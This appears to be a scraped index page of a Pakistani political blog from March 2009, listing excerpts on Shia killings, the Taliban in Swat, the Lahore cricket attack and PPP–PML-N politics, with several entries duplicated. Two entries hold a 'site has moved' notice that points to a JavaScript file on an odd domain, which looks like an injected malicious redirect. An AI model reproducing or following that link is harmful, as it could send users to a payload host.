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Is Nawaz Sharif paving the road to martial law in Pakistan?: If the army is compelled to step in Now that the two mainstream parties have virtually declared the doors of reconciliation shut, commentators are already talking of the possibility of the army stepping in “to bring the country back
Is Nawaz Sharif paving the road to martial law in Pakistan?: If the army is compelled to step inNow that the two mainstream parties have virtually declared the doors of reconciliation shut, commentators are already talking of the possibility of the army stepping in “to bring the country back to
Pakistani bloggers’ blackout on Shia killings: While Pakistani media, politicians, civil society and most of the bloggers remain focused on the Long March, NRO, political battlefield in Punjab and perhaps on certain other regions such as Gaza and Kashmir, the plight of Shias of Pakistan
Pakistani bloggers’ blackout on Shia killings…: While Pakistani media, politicians, civil society and most of the bloggers remain focused on the Long March, political battlefield in Punjab and perhaps certain other regions such as Gaza and Kashmir, the plight of Shias of Pakistan remains grossly
9 March 2009: 2 more shia funerals in Quetta. Shia killing goes on unabated under the watch of the ISI: Two Shia Muslims gunned down in Quetta March 09 2009 at 11:56AM Quetta – Gunmen on a motorcycle on Monday killed two Shi’a Muslims in an apparent sectarian attack in Pakistan’s south-western city of Quetta, police said. The victims
9 March 2009: 2 more shia funerals in Quetta. The Taliban killing goes on unabated under the nose of the ISI…: Two Shia Muslims gunned down in Quetta March 09 2009 at 11:56AM Quetta – Gunmen on a motorcycle on Monday killed two Shi’a Muslims in an apparent sectarian attack in Pakistan’s south-western city of Quetta, police said. The victims
Threat to secular Balochistan? How real is the issue of Talibanisation in Quetta?: Threat to secular Balochistan? By Malik Siraj AkbarMonday, 09 Mar, 2009 NOTHING embarrasses and irks Pakistani spymasters more than the issue of Talibanisation in Quetta. Over the years, Afghan President Hamid Karzai has repeatedly protested against the alleged protection
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Shaheen Sardar Ali: Clutching at straws: ANP in the copmany of Sufi Muhammad in Swat: Clutching at straws By Shaheen Sardar AliMonday, 09 Mar, 2009, Dawn THEY say the guns have fallen silent, there is a lull in the frenzied strafing. We hear no more schools will be torched, bombed and looted; the dreaded
Fata’s 35 Hindus migrate to India: To our Hindu brothers and sisters, we have only this much to say. “We are sorry. This is not Jinnah’s Pakistan. This is Mullah Omar’s, Qazi Hussain Ahmed’s and General Hamid Gul’s Pakistan.“ … More then 200,000 people
Fata’s 35 Hindus migrate to India: To our Hindu brothers and sisters, we have only this much to say. “We are sorry. This is not Jinnah’s Pakistan. This is Wahhabis/neo-Deobandis Pakistan.“ …Fata’s 35 Hindus migrate to India Monday, 09 Mar, 2009 More then 200,000 people
How we lost Swat — Nasir Abbas Mirza: The loss of Swat is not the end of it. It is just another battle lost by us. This battle, and the many more to come, can only be won with more liberties, more freedom and more rights. And
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Ansar Abbasi: Nawaz Sharif must refrain from political reconciliation with the PPP.: Ansar Abbasi advises Nawaz Sharif to refrain from reconciliation. He suggests that politics of reconciliation can be devastating for the country. Really? Good bye,
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Taliban attack the tomb of Rahman Baba in Peshawar: William Dalrymple on the attack: Wahhabi radicals are determined to destroy a gentler, kinder Islam: General Zia’s Wahhabi legacy in Pakistan: In identifying General Zia-ul-Haq’s great dis-service to Islam and Pakistan, Green Sufi writes: “It is hard to say the General’s rule was a bed of roses for Islam. Some steps he took could
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Pakistan’s left tilts towards right: Partners in crime? Deconstructing Tariq Ali and Atitzaz Ahsan: Related articles: Aitzaz Ahsan, PPP and Long March: A critical perspective – by Abbas Ather You too Aitzaz Ahsan, the leader of the legal community? PPP suspends Ch Aitzaz as member CEC Are Pakistan’s secular ideologues abetting the right
Pakistan’s left towards rights. Partners in crime?: Are Pakistan’s secular ideologues abetting the right wing in adding lies and confusion to Jinnah’s Pakistan?: aik taraf sachal aur bahoo, aik taraf mullah aur maslak aik taraf thay heer aur ranjha, aik taraf qazi aur choochak saari duniya
Ahmed Rashid: A dangerous void in Pakistan. The Taliban are unlikely to stop with Swat.: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Tahir Sarwar Mir: Sharif Brothers and their principled struggle for revolution: Nila Gumbad loves Anarkali Shahbaz Sharif’s revolutionary style and the pledge to change his name (to what?) unless…. Parda hai parda – Amar Akbar Anthony (1977) Some relevant comments: MalangBaba said: Reconciliation can only happen if both sides are
Tahir Sarwar Mir: Sharif Brothers and their principled struggle for revolution: Nila Gumbad loves Anarkali Shahbaz Sharif’s revolutionary style and the pledge to change his name (to what?) unless…. Parda hai parda – Amar Akbar Anthony (1977) Some relevant comments: MalangBaba said: Reconciliation can only happen if both sides are
Aakar Patel: Let’s sing Iqbal’s Tarana-e-Hind-o-Pak to fight religous extremism in our society. Indo-Persian sufi heritage versus Taliban’s sharia.: Mr Zardari, tear down this wallSunday, March 08, 2009Aakar Patel Allama Iqbal imagined Pakistan as a utopia in northwest India where Punjabis would do ijtihad and read Nietzsche. The Quaid-e-Azam ordered a Pakistan where religion would cease to be
Eid Milad-un-Nabi Mubarak: Mawlid celebrations: Eid Milad-un-Nabi / Mawlid Mubarak Mawlid (Eid Milad an Nabi) (also knonwn as Mawlid or Mevlid) is a term
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Zikr-e-Shahab: Remembering Qudrat Ullah Shahab: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/26595, click this link if you are not redirected
Attack on Rehman Baba is attack on Pashtun identity: Bombing shrine Saturday, 07 Mar, 2009 (Dawn) Pakistani worshipers gather next to the mausoleum of Sufi poet Rehman Baba, after an explosion that damaged one corner of the shrine, in PeshawarAP Photo/Mohammad Sajjad THURSDAY’S bombing in Peshawar was not
Lahore terror attack and our misguided patriotism: Pakistani militants seen most likely behind attack Saturday, 07 Mar, 2009 (Dawn) A government official said groups such as the LeJ were highest on the list of suspects.—AFP ISLAMABAD: An investigation into the attack on Sri Lanka’s cricket team
Shireen Mazari: Jinnah, democracy, shariah and our lies…: Dr SHIREEN M MAZARI examines the difference in what we pratice and what we preach.
Khaled Ahmed: How blameless is the ISI?: Source: The Friday Times , Pakistan | Khaled Ahmed General (Retd) Javed Ashraf Qazi is counted among the rare competent heads of the ISI. His tenure, beginning 1993, was professional and non-idiosyncratic. He had to clear up the mess
Can Sufi Islam counter the Taleban?: Sufi Islam versus the Taliban’s Wahhabi/Salafi and Deobandi Islam …. Can Sufi Islam counter the Taleban? Some believe that Pakistan’s mystic, non-violent Islam can be used as a defence against extremism (Photos: Kamil Dayan Khan) By Barbara Plett BBC
Mohammaed Hanif: Ten myths about Pakistan: Living in Pakistan and reading about it in the Indian press can sometimes be quite a disorienting experience: one wonders what place on earth they’re talking about? I wouldn’t be surprised if an Indian reader going through Pakistani papers
Lahore terror attack: Lashkar-e-Jhangavi and allied sectarian/jihadi groups involved: From a state of denial to accepting ownership? Ayesha Ijaz Khan writes in The News (6 March 2009): While Pakistanis are not completely out of line if they have concerns about India’s hegemonic designs and regional threats to their
ICC Match Referee Chris Broad ‘angry’ over lack of security in Pakistan: ICC Match Referee Chris Broad has arrived back in England and speaking at a news conference in Manchester, he spoke of his shock, sadness and anger following the terrorist attacks that he was caught up in Lahore. He went
PML-N forward block in Punjab assembly: PML-N’s house of cards slowly but surely falling apart? PML-N forward block in Punjab assembly Updated : Thursday March 5 , 2009 4:22:55 PM LAHORE: The forward block of Muslim League Nawaz (PML-N) in Punjab assembly have emerged claiming
Washington Times report: Americans realise Baituallh Mehsud is real threat: Mehsud brought it on himself * Washington Times report says Americans realise TTP chief is real threat Daily Times Monitor LAHORE: The US military, which avoided hitting Baitullah Mehsud’s forces in 2007 and 2008 when the Taliban leader waged
The Guardian: ISI supports Sipah-e-Sahaba and other sectarian and extremist organizations in Pakistan: After the Lahore attack on cricket, west’s nuclear ally fears implosion Militant assault on cricket tourists puts sharp focus on fragile democracy at risk of disintegration and international isolation Saeed Shah in Lahore The Guardian, Thursday 5 March 2009
PPP’s massive rally in Karachi in support of President Asif Ali Zardari: PPP, MQM rally against PML-N By Irfan Ali KARACHI: The supporters of Pakistan People’s Party (PPP) flocked to MA Jinnah Road to participate in the PPP rally held on Wednesday in support of President Asif Ali Zardari, in the
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